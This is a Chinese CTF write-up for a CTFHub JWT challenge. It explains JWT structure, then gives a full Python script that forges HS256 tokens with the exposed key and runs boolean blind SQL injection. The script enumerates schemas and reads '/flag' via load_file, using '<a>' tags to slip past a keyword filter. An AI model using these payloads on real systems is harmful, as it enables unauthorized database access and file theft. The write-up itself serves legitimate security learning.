前置知识
环境出自ctfhub
本博客用于自己学习记录
拿到题目:
有一个登陆窗口,看着像注入,但是注入的时候被出题者疯狂嘲讽
可以通过admin/admin成功登陆,登陆之后存在key值,当时打网鼎的时候不知道key值怎么用,后来了解到了用在token,题目叫js_on,根据大佬的指点
本题考的知识点是jwt
现在说一下jwt
JWT的原则是在服务器身份验证之后,将生成一个JSON对象并将其发送回用户,之后,当用户与服务器通信时,客户在请求中发回JSON对象。服务器仅依赖于这个JSON对象来标识用户。为了防止用户篡改数据,服务器将在生成对象时添加签名
jwt构造为:JWT头、有效载荷和签名
链接:https://baijiahao.baidu.com/s?id=1608021814182894637&wfr=spider&for=pc
这个链接介绍jwt很详细
解题思路
通过提示,我们知道存在token注入,token分为三段,第一段为header,第二段为payload,第三段为签名,header可以不变,payload存在自定义字段
将payload的进行base64解码
{"user":"admin","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}
可以看到解码之后的存在admin和一个key值,此时的key值就是登陆成功之后的key值 ,根据大佬提示在admin字段存在sql注入
进行测试
and 1=1
{"user":"admin'/**/and/**/'1'='1'#"","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}
and 1=2
{"user":"admin'/**/and/**/'1'='2'#","news":"key: xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"}
将其进行base64加密,之后通过jwt官方网站得到token
jwt官网:https://jwt.io/#debugger
注意一定要用官网的调试工具,且签名的加密方式是mhachash256 不是hash256
如上图所示绕过构造错误则news显示???? why…
如果构造正确,将显示正确的news值
很明显是布尔注入
写脚本 :通过load_file读取flag文件
# coding=utf-8
import jwt
import requests
import re
requests.packages.urllib3.disable_warnings()
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://challenge-7a51cd870d5dad21.sandbox.ctfhub.com:10080"
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
# info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256'])
# if info:
# print(info)
#payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#"
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#"
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#"
payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"
#payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=performan<a>ce_schema()),{},1))>{}#"
def half_interval():
result = ""
for i in range(1,50):
min = 32
max = 127
while abs(max-min) > 1:
mid = (min + max)//2
payload = payloadTmpl.format(i,mid)
jwttoken = {
"user": payload,
"news": "success"
}
payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
#print(payload)
cookies = dict(token=str(payload))
res = requests.get(url,cookies=cookies,proxies=proxies)
if re.findall("success", res.text) != []:
min = mid
else:
max = mid
result += chr(max)
print(result)
if __name__ == "__main__":
half_interval()
# payload = payloadTmpl.format(1,32)
# jwttoken = {
# "user": payload,
# "news": "success"
# }
# print(jwttoken)
# payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
# print(payload)
#cookies = dict(token=str(payload))
#res = requests.get(url,cookies=cookies,proxies=proxies)
#res.encoding='utf-8'
#print(res.text)
脚本是down网上大佬的
脚本中使用
<a>
进行绕过,绕过不进行过滤的话则会出现图片说的提示。
收获
1.了解了jwt的知识
2.了解怎么做token的sql注入
3.过滤方式
payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#"
了解了通过<a>
来绕过过滤
4.脚本的相关知识